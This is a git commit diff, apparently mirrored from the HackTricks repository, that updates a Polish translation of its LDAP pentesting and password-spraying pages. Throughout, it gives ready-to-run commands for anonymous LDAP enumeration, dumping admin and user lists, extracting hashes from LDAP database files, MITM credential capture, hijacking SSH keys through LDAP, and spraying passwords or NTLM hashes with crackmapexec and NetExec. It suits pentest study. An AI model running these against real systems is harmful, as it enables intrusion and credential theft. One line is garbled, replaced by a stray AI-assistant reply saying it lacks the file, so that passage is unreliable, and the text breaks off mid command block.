mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['', 'src/network-services-pentesting/pentesting-ldap.md', 's
This commit is contained in:
		
							parent
							
								
									e7bd6dee03
								
							
						
					
					
						commit
						9df87765c1
					
				| @ -2,13 +2,13 @@ | ||||
| 
 | ||||
| {{#include ../banners/hacktricks-training.md}} | ||||
| 
 | ||||
| Użycie **LDAP** (Lightweight Directory Access Protocol) ma na celu głównie lokalizowanie różnych podmiotów, takich jak organizacje, osoby i zasoby, takie jak pliki i urządzenia w sieciach, zarówno publicznych, jak i prywatnych. Oferuje uproszczone podejście w porównaniu do swojego poprzednika, DAP, dzięki mniejszemu rozmiarowi kodu. | ||||
| Zastosowanie **LDAP** (Lightweight Directory Access Protocol) polega głównie na lokalizowaniu różnych obiektów, takich jak organizacje, osoby oraz zasoby, np. pliki i urządzenia, w sieciach publicznych i prywatnych. Oferuje ono uproszczone podejście w porównaniu do swojego poprzednika, DAP, dzięki mniejszemu rozmiarowi kodu. | ||||
| 
 | ||||
| Katalogi LDAP są zorganizowane w sposób umożliwiający ich dystrybucję na kilku serwerach, z których każdy przechowuje **replikowaną** i **zsynchronizowaną** wersję katalogu, nazywaną Agentem Systemu Katalogowego (DSA). Odpowiedzialność za obsługę żądań spoczywa całkowicie na serwerze LDAP, który może komunikować się z innymi DSA w razie potrzeby, aby dostarczyć jednolitą odpowiedź do wnioskodawcy. | ||||
| Katalogi LDAP są zorganizowane tak, aby można je było rozdzielać między kilka serwerów, z każdym serwerem przechowującym **replikowaną** i **synchronizowaną** wersję katalogu, nazywaną Directory System Agent (DSA). Odpowiedzialność za obsługę żądań spoczywa w całości na serwerze LDAP, który w razie potrzeby może komunikować się z innymi DSA, aby dostarczyć spójną odpowiedź żądającemu. | ||||
| 
 | ||||
| Organizacja katalogu LDAP przypomina **hierarchię drzewiastą, zaczynając od katalogu głównego na górze**. Rozgałęzia się to na kraje, które dzielą się dalej na organizacje, a następnie na jednostki organizacyjne reprezentujące różne działy lub departamenty, aż w końcu osiąga poziom poszczególnych podmiotów, w tym zarówno ludzi, jak i wspólne zasoby, takie jak pliki i drukarki. | ||||
| Organizacja katalogu LDAP przypomina **hierarchię drzewiastą, zaczynając od katalogu głównego na szczycie**. Gałęzie rozchodzą się do krajów, które dalej dzielą się na organizacje, a następnie na jednostki organizacyjne reprezentujące różne działy lub departamenty, aż do poziomu pojedynczych obiektów, obejmujących zarówno osoby, jak i zasoby współdzielone, takie jak pliki i drukarki. | ||||
| 
 | ||||
| **Domyślny port:** 389 i 636(ldaps). Globalny Katalog (LDAP w ActiveDirectory) jest dostępny domyślnie na portach 3268 i 3269 dla LDAPS. | ||||
| **Default port:** 389 and 636(ldaps). Global Catalog (LDAP in ActiveDirectory) is available by default on ports 3268, and 3269 for LDAPS. | ||||
| ``` | ||||
| PORT    STATE SERVICE REASON | ||||
| 389/tcp open  ldap    syn-ack | ||||
| @ -16,7 +16,7 @@ PORT    STATE SERVICE REASON | ||||
| ``` | ||||
| ### LDAP Data Interchange Format | ||||
| 
 | ||||
| LDIF (LDAP Data Interchange Format) definiuje zawartość katalogu jako zestaw rekordów. Może również reprezentować żądania aktualizacji (Dodaj, Zmień, Usuń, Zmień nazwę). | ||||
| LDIF (LDAP Data Interchange Format) definiuje zawartość katalogu jako zbiór rekordów. Może również reprezentować żądania aktualizacji (Add, Modify, Delete, Rename). | ||||
| ```bash | ||||
| dn: dc=local | ||||
| dc: local | ||||
| @ -45,14 +45,14 @@ ou: | ||||
| mail: pepe@hacktricks.xyz | ||||
| phone: 23627387495 | ||||
| ``` | ||||
| - Linie 1-3 definiują najwyższy poziom domeny local | ||||
| - Linie 5-8 definiują pierwszy poziom domeny moneycorp (moneycorp.local) | ||||
| - Linie 10-16 definiują 2 jednostki organizacyjne: dev i sales | ||||
| - Linie 18-26 tworzą obiekt domeny i przypisują atrybuty z wartościami | ||||
| - Wiersze 1-3 definiują domenę najwyższego poziomu local | ||||
| - Wiersze 5-8 definiują domenę pierwszego poziomu moneycorp (moneycorp.local) | ||||
| - Wiersze 10-16 definiują 2 jednostki organizacyjne: dev i sales | ||||
| - Wiersze 18-26 tworzą obiekt domeny i przypisują atrybuty z wartościami | ||||
| 
 | ||||
| ## Zapisz dane | ||||
| ## Zapis danych | ||||
| 
 | ||||
| Zauważ, że jeśli możesz modyfikować wartości, możesz być w stanie wykonać naprawdę interesujące działania. Na przykład, wyobraź sobie, że **możesz zmienić informacje "sshPublicKey"** swojego użytkownika lub dowolnego użytkownika. Jest bardzo prawdopodobne, że jeśli ten atrybut istnieje, to **ssh odczytuje klucze publiczne z LDAP**. Jeśli możesz zmodyfikować klucz publiczny użytkownika, **będziesz mógł zalogować się jako ten użytkownik, nawet jeśli uwierzytelnianie hasłem nie jest włączone w ssh**. | ||||
| Zwróć uwagę, że jeśli możesz modyfikować wartości, możesz wykonać naprawdę interesujące działania. Na przykład, wyobraź sobie, że **możesz zmienić informację "sshPublicKey"** swojego użytkownika lub dowolnego innego. Jest bardzo prawdopodobne, że jeśli ten atrybut istnieje, to **ssh odczytuje klucze publiczne z LDAP**. Jeśli możesz zmodyfikować klucz publiczny użytkownika, **będziesz mógł zalogować się jako ten użytkownik nawet jeśli uwierzytelnianie hasłem nie jest włączone w ssh**. | ||||
| ```bash | ||||
| # Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/ | ||||
| >>> import ldap3 | ||||
| @ -66,28 +66,53 @@ u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN' | ||||
| ``` | ||||
| ## Sniff clear text credentials | ||||
| 
 | ||||
| Jeśli LDAP jest używany bez SSL, możesz **przechwycić dane logowania w postaci niezaszyfrowanej** w sieci. | ||||
| Jeśli LDAP jest używany bez SSL możesz **sniff credentials in plain text** w sieci. | ||||
| 
 | ||||
| Możesz również przeprowadzić atak **MITM** w sieci **pomiędzy serwerem LDAP a klientem.** Tutaj możesz przeprowadzić **atak downgrade**, aby klient używał **danych logowania w postaci niezaszyfrowanej** do logowania. | ||||
| Możesz również przeprowadzić atak **MITM** w sieci **pomiędzy serwerem LDAP a klientem.** Tutaj możesz wykonać **Downgrade Attack**, dzięki czemu klient użyje **credentials in clear text** do logowania. | ||||
| 
 | ||||
| **Jeśli SSL jest używane**, możesz spróbować przeprowadzić **MITM** jak wspomniano powyżej, oferując **fałszywy certyfikat**; jeśli **użytkownik go zaakceptuje**, możesz obniżyć metodę uwierzytelniania i ponownie zobaczyć dane logowania. | ||||
| **If SSL is used** możesz spróbować wykonać **MITM** jak wyżej, ale oferując **false certificate**; jeśli **user accepts it**, będziesz w stanie obniżyć metodę uwierzytelniania i ponownie zobaczyć credentials. | ||||
| 
 | ||||
| ## Anonymous Access | ||||
| ## Dostęp anonimowy | ||||
| 
 | ||||
| ### Bypass TLS SNI check | ||||
| ### Obejście sprawdzenia TLS SNI | ||||
| 
 | ||||
| Zgodnie z [**tym artykułem**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) wystarczyło uzyskać dostęp do serwera LDAP z dowolną nazwą domeny (taką jak company.com), aby móc skontaktować się z usługą LDAP i wyodrębnić informacje jako anonimowy użytkownik: | ||||
| Zgodnie z [**this writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) samo uzyskanie dostępu do serwera LDAP za pomocą dowolnej nazwy domeny (np. company.com) pozwoliło mu skontaktować się z usługą LDAP i wyodrębnić informacje jako anonimowy użytkownik: | ||||
| ```bash | ||||
| ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" + | ||||
| ``` | ||||
| ### LDAP anonymous binds | ||||
| 
 | ||||
| [LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) pozwalają **nieautoryzowanym atakującym** na uzyskanie informacji z domeny, takich jak pełna lista użytkowników, grup, komputerów, atrybutów kont użytkowników oraz polityki haseł domeny. Jest to **stara konfiguracja**, a od Windows Server 2003 tylko uwierzytelnieni użytkownicy mogą inicjować żądania LDAP.\ | ||||
| Jednakże, administratorzy mogli potrzebować **skonfigurować określoną aplikację, aby umożliwić anonimowe połączenia** i przyznać więcej dostępu niż zamierzano, co skutkuje tym, że nieautoryzowani użytkownicy mają dostęp do wszystkich obiektów w AD. | ||||
| [LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) pozwalają **nieuwierzytelnionym atakującym** na pobranie informacji z domeny, takich jak pełna lista użytkowników, grup, komputerów, atrybutów kont użytkowników oraz polityka haseł domeny. Jest to **przestarzała konfiguracja**, a od Windows Server 2003 tylko uwierzytelnieni użytkownicy mogą inicjować żądania LDAP.\ | ||||
| Jednak administratorzy mogli potrzebować **skonfigurować konkretną aplikację tak, by pozwalała na anonymous binds** i przyznać więcej uprawnień niż zamierzano, co daje nieuwierzytelnionym użytkownikom dostęp do wszystkich obiektów w AD. | ||||
| 
 | ||||
| ## Valid Credentials | ||||
| ### Anonymous LDAP enumeration with NetExec (null bind) | ||||
| 
 | ||||
| Jeśli masz ważne dane logowania do serwera LDAP, możesz zrzucić wszystkie informacje o Administratorze Domeny za pomocą: | ||||
| Jeśli dozwolony jest null/anonymous bind, możesz pobrać użytkowników, grupy i atrybuty bezpośrednio za pomocą modułu LDAP NetExec bez creds. Przydatne filtry: | ||||
| - (objectClass=*) aby zinwentaryzować obiekty pod base DN | ||||
| - (sAMAccountName=*) aby zebrać user principals | ||||
| 
 | ||||
| Przykłady: | ||||
| ```bash | ||||
| # Enumerate objects from the root DSE (base DN autodetected) | ||||
| netexec ldap <DC_FQDN> -u '' -p '' --query "(objectClass=*)" "" | ||||
| 
 | ||||
| # Dump users with key attributes for spraying and targeting | ||||
| netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" "" | ||||
| 
 | ||||
| # Extract just the sAMAccountName field into a list | ||||
| netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" "" \ | ||||
| | awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt | ||||
| ``` | ||||
| What to look for: | ||||
| - sAMAccountName, userPrincipalName | ||||
| - memberOf i umiejscowienie OU, aby określić zakres dla targeted sprays | ||||
| - pwdLastSet (wzorce czasowe), userAccountControl flags (disabled, smartcard required, etc.) | ||||
| 
 | ||||
| Note: Jeśli anonymous bind nie jest dozwolony, zwykle zobaczysz Operations error wskazujący, że bind jest wymagany. | ||||
| 
 | ||||
| ## Prawidłowe poświadczenia | ||||
| 
 | ||||
| Jeśli masz prawidłowe poświadczenia do zalogowania się na serwer LDAP, możesz zrzucić wszystkie informacje o Domain Admin używając: | ||||
| 
 | ||||
| [ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump) | ||||
| ```bash | ||||
| @ -96,11 +121,11 @@ ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authty | ||||
| ``` | ||||
| ### [Brute Force](../generic-hacking/brute-force.md#ldap) | ||||
| 
 | ||||
| ## Enumeracja | ||||
| ## Enumeration | ||||
| 
 | ||||
| ### Zautomatyzowana | ||||
| ### Automatyczne | ||||
| 
 | ||||
| Korzystając z tego, będziesz mógł zobaczyć **publiczne informacje** (takie jak nazwa domeny)**:** | ||||
| Dzięki temu będziesz w stanie zobaczyć **publiczne informacje** (np. nazwę domeny)**:** | ||||
| ```bash | ||||
| nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials | ||||
| ``` | ||||
| @ -108,11 +133,11 @@ nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials | ||||
| 
 | ||||
| <details> | ||||
| 
 | ||||
| <summary>Zobacz enumerację LDAP za pomocą Pythona</summary> | ||||
| <summary>Zobacz LDAP enumeration with python</summary> | ||||
| 
 | ||||
| Możesz spróbować **enumerować LDAP z lub bez poświadczeń za pomocą Pythona**: `pip3 install ldap3` | ||||
| Możesz spróbować **enumerate a LDAP with or without credentials using python**: `pip3 install ldap3` | ||||
| 
 | ||||
| Najpierw spróbuj **połączyć się bez** poświadczeń: | ||||
| Najpierw spróbuj **połączyć się bez** credentials: | ||||
| ```bash | ||||
| >>> import ldap3 | ||||
| >>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True) | ||||
| @ -121,7 +146,7 @@ Najpierw spróbuj **połączyć się bez** poświadczeń: | ||||
| True | ||||
| >>> server.info | ||||
| ``` | ||||
| Jeśli odpowiedź to `True`, jak w poprzednim przykładzie, możesz uzyskać pewne **interesujące dane** z serwera LDAP (takie jak **kontekst nazewniczy** lub **nazwa domeny**) z: | ||||
| Jeśli odpowiedź to `True`, jak w poprzednim przykładzie, możesz uzyskać pewne **interesujące dane** dotyczące serwera LDAP (takie jak **naming context** czy **domain name**) z: | ||||
| ```bash | ||||
| >>> server.info | ||||
| DSA info (from DSE): | ||||
| @ -129,13 +154,13 @@ Supported LDAP versions: 3 | ||||
| Naming contexts: | ||||
| dc=DOMAIN,dc=DOMAIN | ||||
| ``` | ||||
| Gdy masz już kontekst nazewniczy, możesz wykonać kilka bardziej interesujących zapytań. To proste zapytanie powinno pokazać wszystkie obiekty w katalogu: | ||||
| Gdy już masz kontekst nazewnictwa, możesz wykonać kilka ciekawszych zapytań. To proste zapytanie powinno pokazać wszystkie obiekty w katalogu: | ||||
| ```bash | ||||
| >>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*') | ||||
| True | ||||
| >> connection.entries | ||||
| ``` | ||||
| Lub **zrzut** całego ldap: | ||||
| Albo **dump** cały ldap: | ||||
| ```bash | ||||
| >> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword') | ||||
| True | ||||
| @ -145,7 +170,7 @@ True | ||||
| 
 | ||||
| ### windapsearch | ||||
| 
 | ||||
| [**Windapsearch**](https://github.com/ropnop/windapsearch) to skrypt w Pythonie przydatny do **enumeracji użytkowników, grup i komputerów z domeny Windows** za pomocą zapytań LDAP. | ||||
| [**Windapsearch**](https://github.com/ropnop/windapsearch) jest skryptem Python przydatnym do **enumeracji użytkowników, grup i komputerów w domenie Windows** przy użyciu zapytań LDAP. | ||||
| ```bash | ||||
| # Get computers | ||||
| python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers | ||||
| @ -160,7 +185,7 @@ python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --p | ||||
| ``` | ||||
| ### ldapsearch | ||||
| 
 | ||||
| Sprawdź puste poświadczenia lub czy twoje poświadczenia są ważne: | ||||
| Sprawdź puste poświadczenia lub czy twoje poświadczenia są poprawne: | ||||
| ```bash | ||||
| ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>" | ||||
| ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>" | ||||
| @ -173,7 +198,7 @@ result: 1 Operations error | ||||
| text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera | ||||
| tion a successful bind must be completed on the connection., data 0, v3839 | ||||
| ``` | ||||
| Jeśli znajdziesz coś mówiącego, że "_bind musi być zakończony_", oznacza to, że dane uwierzytelniające są nieprawidłowe. | ||||
| Jeśli zobaczysz komunikat "_bind must be completed_", oznacza to, że poświadczenia są niepoprawne. | ||||
| 
 | ||||
| Możesz wyodrębnić **wszystko z domeny** używając: | ||||
| ```bash | ||||
| @ -184,36 +209,36 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_ | ||||
| -w My password | ||||
| -b Base site, all data from here will be given | ||||
| ``` | ||||
| Ekstraktuj **użytkowników**: | ||||
| Wyodrębnij **użytkowników**: | ||||
| ```bash | ||||
| ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>" | ||||
| #Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local" | ||||
| ``` | ||||
| Wydobyć **komputery**: | ||||
| Wyodrębnij **komputery**: | ||||
| ```bash | ||||
| ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>" | ||||
| ``` | ||||
| Wyciągnij **moje informacje**: | ||||
| I don't have access to src/network-services-pentesting/pentesting-ldap.md. Proszę wklej zawartość pliku (lub fragmenty), które chcesz przetłumaczyć — przetłumaczę je na polski, zachowując dokładnie wszystkie znaczniki markdown/html oraz nie tłumacząc kodu, nazw technik, linków, ścieżek ani wskazanych terminów. | ||||
| ```bash | ||||
| ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>" | ||||
| ``` | ||||
| Ekstrakcja **Domain Admins**: | ||||
| Wyodrębnij **Domain Admins**: | ||||
| ```bash | ||||
| ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>" | ||||
| ``` | ||||
| Ekstrakcja **Użytkowników Domeny**: | ||||
| Wyodrębnij **Domain Users**: | ||||
| ```bash | ||||
| ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>" | ||||
| ``` | ||||
| Ekstrakcja **Enterprise Admins**: | ||||
| Wyodrębnij **Enterprise Admins**: | ||||
| ```bash | ||||
| ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>" | ||||
| ``` | ||||
| Ekstrakt **Administratorzy**: | ||||
| Wyodrębnij **Administrators**: | ||||
| ```bash | ||||
| ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>" | ||||
| ``` | ||||
| Ekstrakt **Remote Desktop Group**: | ||||
| Wyodrębnij **Remote Desktop Group**: | ||||
| ```bash | ||||
| ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>" | ||||
| ``` | ||||
| @ -221,12 +246,12 @@ Aby sprawdzić, czy masz dostęp do jakiegokolwiek hasła, możesz użyć grep p | ||||
| ```bash | ||||
| <ldapsearchcmd...> | grep -i -A2 -B2 "userpas" | ||||
| ``` | ||||
| Proszę zauważyć, że hasła, które można tutaj znaleźć, mogą nie być prawdziwe... | ||||
| Zwróć uwagę, że hasła, które możesz znaleźć tutaj, nie muszą być prawdziwe... | ||||
| 
 | ||||
| #### pbis | ||||
| 
 | ||||
| Możesz pobrać **pbis** stąd: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) i zazwyczaj jest instalowany w `/opt/pbis`.\ | ||||
| **Pbis** pozwala na łatwe uzyskanie podstawowych informacji: | ||||
| Możesz pobrać **pbis** stąd: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) i zazwyczaj jest zainstalowany w `/opt/pbis`.\ | ||||
| **Pbis** pozwala łatwo uzyskać podstawowe informacje: | ||||
| ```bash | ||||
| #Read keytab file | ||||
| ./klist -k /etc/krb5.keytab | ||||
| @ -255,13 +280,13 @@ Możesz pobrać **pbis** stąd: [https://github.com/BeyondTrust/pbis-open/](http | ||||
| ./list-groups-for-user <username> | ||||
| ./lsa list-groups-for-user <username> | ||||
| #Get groups of each user | ||||
| ./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done | ||||
| ./enum-users | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done | ||||
| 
 | ||||
| #Get users of a group | ||||
| ./enum-members --by-name "domain admins" | ||||
| ./lsa enum-members --by-name "domain admins" | ||||
| #Get users of each group | ||||
| ./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done | ||||
| ./enum-groups | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done | ||||
| 
 | ||||
| #Get description of each user | ||||
| ./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do | ||||
| @ -274,11 +299,11 @@ done | ||||
| 
 | ||||
| ### Apache Directory | ||||
| 
 | ||||
| [**Pobierz Apache Directory stąd**](https://directory.apache.org/studio/download/download-linux.html). Możesz znaleźć [przykład użycia tego narzędzia tutaj](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s). | ||||
| [**Download Apache Directory from here**](https://directory.apache.org/studio/download/download-linux.html). You can find an [example of how to use this tool here](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s). | ||||
| 
 | ||||
| ### jxplorer | ||||
| 
 | ||||
| Możesz pobrać interfejs graficzny z serwerem LDAP tutaj: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html) | ||||
| You can download a graphical interface with LDAP server here: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html) | ||||
| 
 | ||||
| Domyślnie jest zainstalowany w: _/opt/jxplorer_ | ||||
| 
 | ||||
| @ -286,35 +311,35 @@ Domyślnie jest zainstalowany w: _/opt/jxplorer_ | ||||
| 
 | ||||
| ### Godap | ||||
| 
 | ||||
| Godap to interaktywne terminalowe interfejs użytkownika dla LDAP, który można używać do interakcji z obiektami i atrybutami w AD i innych serwerach LDAP. Jest dostępny dla Windows, Linux i MacOS i obsługuje proste połączenia, pass-the-hash, pass-the-ticket i pass-the-cert, a także kilka innych specjalistycznych funkcji, takich jak wyszukiwanie/tworzenie/zmiiana/usuwanie obiektów, dodawanie/usuwanie użytkowników z grup, zmiana haseł, edytowanie uprawnień obiektów (DACL), modyfikowanie zintegrowanego DNS Active Directory (ADIDNS), eksportowanie do plików JSON itp. | ||||
| Godap to interaktywny terminalowy interfejs użytkownika dla LDAP, który pozwala na interakcję z obiektami i atrybutami w AD oraz innych serwerach LDAP. Jest dostępny dla Windows, Linux i MacOS oraz obsługuje simple binds, pass-the-hash, pass-the-ticket i pass-the-cert, wraz z wieloma innymi wyspecjalizowanymi funkcjami, takimi jak searching/creating/changing/deleting objects, adding/removing users from groups, changing passwords, editing object permissions (DACLs), modyfikowanie Active-Directory Integrated DNS (ADIDNS), eksport do plików JSON itp. | ||||
| 
 | ||||
|  | ||||
| 
 | ||||
| Możesz uzyskać do niego dostęp pod adresem [https://github.com/Macmod/godap](https://github.com/Macmod/godap). Aby zobaczyć przykłady użycia i instrukcje, przeczytaj [Wiki](https://github.com/Macmod/godap/wiki). | ||||
| Możesz uzyskać do niego dostęp pod adresem [https://github.com/Macmod/godap](https://github.com/Macmod/godap). Przykłady użycia i instrukcje znajdziesz na [Wiki](https://github.com/Macmod/godap/wiki). | ||||
| 
 | ||||
| ### Ldapx | ||||
| 
 | ||||
| Ldapx to elastyczny proxy LDAP, który można używać do inspekcji i transformacji ruchu LDAP z innych narzędzi. Może być używany do obfuskacji ruchu LDAP w celu próby ominięcia narzędzi ochrony tożsamości i monitorowania LDAP oraz implementuje większość metod przedstawionych w wykładzie [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo). | ||||
| Ldapx to elastyczny LDAP proxy, który może być używany do inspekcji i transformacji ruchu LDAP generowanego przez inne narzędzia. Może służyć do obfuskacji ruchu LDAP w celu próby obejścia mechanizmów ochrony tożsamości i narzędzi monitorujących LDAP oraz implementuje większość metod zaprezentowanych w wykładzie [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo). | ||||
| 
 | ||||
|  | ||||
| 
 | ||||
| Możesz go pobrać z [https://github.com/Macmod/ldapx](https://github.com/Macmod/ldapx). | ||||
| 
 | ||||
| ## Uwierzytelnianie za pomocą kerberos | ||||
| ## Uwierzytelnianie przez Kerberos | ||||
| 
 | ||||
| Używając `ldapsearch`, możesz **uwierzytelnić się** za pomocą **kerberos zamiast** przez **NTLM**, używając parametru `-Y GSSAPI` | ||||
| Używając `ldapsearch` możesz **uwierzytelniać się** przy użyciu **Kerberos** zamiast **NTLM**, stosując parametr `-Y GSSAPI` | ||||
| 
 | ||||
| ## POST | ||||
| 
 | ||||
| Jeśli masz dostęp do plików, w których znajdują się bazy danych (mogą być w _/var/lib/ldap_). Możesz wyodrębnić hashe używając: | ||||
| Jeśli masz dostęp do plików, w których znajdują się bazy danych (mogą się znajdować w _/var/lib/ldap_). Możesz wydobyć hashe używając: | ||||
| ```bash | ||||
| cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u | ||||
| ``` | ||||
| Możesz podać johnowi hash hasła (od '{SSHA}' do 'structural' bez dodawania 'structural'). | ||||
| Możesz załadować do john hash hasła (od '{SSHA}' do 'structural' bez dodawania 'structural'). | ||||
| 
 | ||||
| ### Pliki konfiguracyjne | ||||
| 
 | ||||
| - Ogólne | ||||
| - General | ||||
| - containers.ldif | ||||
| - ldap.cfg | ||||
| - ldap.conf | ||||
| @ -335,7 +360,7 @@ Możesz podać johnowi hash hasła (od '{SSHA}' do 'structural' bez dodawania 's | ||||
| - Sun ONE Directory Server 5.1 | ||||
| - 75sas.ldif | ||||
| 
 | ||||
| ## HackTricks Automatyczne Komendy | ||||
| ## HackTricks Automatyczne polecenia | ||||
| ``` | ||||
| Protocol_Name: LDAP    #Protocol Abbreviation if there is one. | ||||
| Port_Number:  389,636     #Comma separated if there is more than one. | ||||
| @ -378,4 +403,10 @@ Entry_7: | ||||
| Name: Netexec LDAP BloodHound | ||||
| Command: nxc ldap <IP> -u <USERNAME> -p <PASSWORD> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp | ||||
| ``` | ||||
| ## Źródła | ||||
| 
 | ||||
| - [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html) | ||||
| - [NetExec (następca CME)](https://github.com/Pennyw0rth/NetExec) | ||||
| - [Microsoft: Anonymous LDAP operations wobec Active Directory są wyłączone](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) | ||||
| 
 | ||||
| {{#include ../banners/hacktricks-training.md}} | ||||
|  | ||||
| @ -5,16 +5,16 @@ | ||||
| 
 | ||||
| ## **Password Spraying** | ||||
| 
 | ||||
| Po znalezieniu kilku **valid usernames** możesz spróbować najczęściej używanych **common passwords** (pamiętaj o **password policy** środowiska) dla każdego z odkrytych użytkowników.\ | ||||
| Po znalezieniu kilku **valid usernames** możesz spróbować najpopularniejszych **common passwords** (uwzględniając password policy środowiska) dla każdego z odkrytych użytkowników.\ | ||||
| By **default** the **minimum** **password** **length** is **7**. | ||||
| 
 | ||||
| Listy common usernames mogą być również przydatne: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) | ||||
| 
 | ||||
| Zauważ, że możesz **could lockout some accounts if you try several wrong passwords** (by default more than 10). | ||||
| Zwróć uwagę, że możesz **could lockout some accounts if you try several wrong passwords** (by default więcej niż 10). | ||||
| 
 | ||||
| ### Get password policy | ||||
| 
 | ||||
| Jeśli masz jakieś user credentials lub shell jako domain user możesz **get the password policy with**: | ||||
| Jeśli masz jakieś user credentials lub shell jako domain user, możesz **get the password policy with**: | ||||
| ```bash | ||||
| # From Linux | ||||
| crackmapexec <IP> -u 'user' -p 'password' --pass-pol | ||||
| @ -31,27 +31,42 @@ net accounts | ||||
| 
 | ||||
| (Get-DomainPolicy)."SystemAccess" #From powerview | ||||
| ``` | ||||
| ### Eksploatacja z Linuxa (lub innych systemów) | ||||
| ### Eksploatacja z Linuxa (lub ogólnie) | ||||
| 
 | ||||
| - Korzystanie z **crackmapexec:** | ||||
| - Przy użyciu **crackmapexec:** | ||||
| ```bash | ||||
| crackmapexec smb <IP> -u users.txt -p passwords.txt | ||||
| # Local Auth Spray (once you found some local admin pass or hash) | ||||
| ## --local-auth flag indicate to only try 1 time per machine | ||||
| crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep + | ||||
| ``` | ||||
| - Używając [**kerbrute**](https://github.com/ropnop/kerbrute) (Go) | ||||
| - Używanie **NetExec (CME successor)** do ukierunkowanego, niskoszumowego sprayingu przez SMB/WinRM: | ||||
| ```bash | ||||
| # Optional: generate a hosts entry to ensure Kerberos FQDN resolution | ||||
| netexec smb <DC_IP> --generate-hosts-file hosts && cat hosts /etc/hosts | sudo sponge /etc/hosts | ||||
| 
 | ||||
| # Spray a single candidate password against harvested users over SMB | ||||
| netexec smb <DC_FQDN> -u users.txt -p 'Password123!' \ | ||||
| --continue-on-success --no-bruteforce --shares | ||||
| 
 | ||||
| # Validate a hit over WinRM (or use SMB exec methods) | ||||
